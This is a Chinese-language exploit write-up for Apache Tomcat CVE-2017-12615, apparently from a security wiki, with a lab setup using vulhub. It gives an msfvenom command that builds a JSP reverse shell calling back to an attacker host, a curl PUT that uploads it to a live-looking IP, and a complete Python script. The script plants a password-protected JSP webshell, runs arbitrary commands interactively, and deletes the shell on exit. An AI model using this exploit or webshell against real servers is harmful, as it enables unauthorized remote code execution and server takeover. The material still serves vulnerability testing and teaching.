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169 lines
5.9 KiB
Markdown
169 lines
5.9 KiB
Markdown
# Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
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## 漏洞描述
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2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
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## 漏洞影响
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```
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Apache Tomcat 7.0.0 - 7.0.81
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```
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## 环境搭建
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```plain
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https://github.com/vulhub/vulhub.git
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cd vulhub/tomcat/CVE-2017-12615
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docker-compose up -d
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```
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访问 http://xxx.xxx.xxx.xxx:8080/ 正常即可
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## 漏洞复现
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漏洞产生的主要原因来自于**conf/web.xml**文件配置错误,readonly开启了false,导致可以使用**PUT/DELETE**请求方法操作文件
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**msf**生成一个**jsp**木马
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```plain
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
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```
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利用PUT方法上传木马
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```plain
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curl -v -X PUT --data-binary @shell.jsp "http://81.68.139.186:8080/shell.jsp/"
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```
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- 注意 http://xxx.xxx.xxx.xxx:8080/shell.jsp/中的最后一个"/"字符很重要
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发现成功上传木马文件
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访问文件即可反弹一个shell
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也可以用**DELETE**请求方法删除文件
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## 漏洞POC
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- 代码只用于检测漏洞，反弹shell参照上方
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import hashlib
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import sys
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import requests
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import random
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import re
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 \033[0m')
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print('+ \033[36m使用格式: python3 CVE-2017-12615.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 \033[0m')
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print('+ \033[36mCmd >>> shell \033[0m')
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print('+ \033[36mCmd >>> exit(退出交互并删除webshell) \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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md5_filename = str(random.randint(1,999)).encode("utf-8")
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file_name = hashlib.md5(md5_filename).hexdigest()
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vuln_put_url = target_url + "/" + file_name + ".jsp/"
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headers = {
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"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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data = """
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<%
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if("peiqi".equals(request.getParameter("pwd"))){
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java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
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int a = -1;
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byte[] b = new byte[1024];
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while((a=in.read(b))!=-1){
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out.println(new String(b));
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}
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}
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%>
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"""
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try:
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response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)
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if response.status_code == 201 or response.status_code == 201:
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print("\033[32m[o] 含有CVE-2017-12615漏洞，成功上传shell，文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
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return file_name
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else:
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print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
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sys.exit(0)
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except:
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print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
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sys.exit(0)
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def POC_2(target_url, file_name, cmd):
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vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmd
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headers = {
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"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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try:
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response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)
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if response.status_code == 200:
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print("\033[32m[o] 成功执行命令,响应为:\n\033[0m",response.text)
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else:
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print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
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sys.exit(0)
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except:
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print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
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sys.exit(0)
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def POC_3(target_url, file_name):
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vuln_delect_url = target_url + "/" + file_name + ".jsp/"
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headers = {
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"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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try:
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response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)
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if response.status_code == 200 or 201:
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print("\033[32m[o] 成功删除shell，文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
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return file_name
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else:
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print("\033[31m[x] 删除失败 \033[0m")
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sys.exit(0)
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except:
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print("\033[31m[x] 删除失败 \033[0m")
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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file_name = POC_1(target_url)
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while True:
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cmd = input("\033[35mCmd >>> \033[0m")
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if cmd == "exit":
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POC_3(target_url, file_name)
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sys.exit(0)
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else:
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POC_2(target_url, file_name, cmd)
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```
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